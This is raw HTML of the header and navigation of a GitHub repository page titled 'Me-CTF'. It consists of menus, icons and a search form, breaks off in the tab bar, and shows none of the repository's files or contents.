<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="106407381" data-scoped-search-url="/Fineas/Me-CTF/search" data-owner-scoped-search-url="/users/Fineas/search" data-unscoped-search-url="/search" data-turbo="false" action="/Fineas/Me-CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="WLSV0XCMg7CRCOfUsjllX9ngUw8muV1ankouK3TTabqyPMQfMBeNN+WbHg1hd3pV/2mm5LlAq/4tL2mNK5GZYQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> Fineas </span> <span>/</span> Me-CTF
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>1</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/Fineas/Me-CTF/security/overall-count" 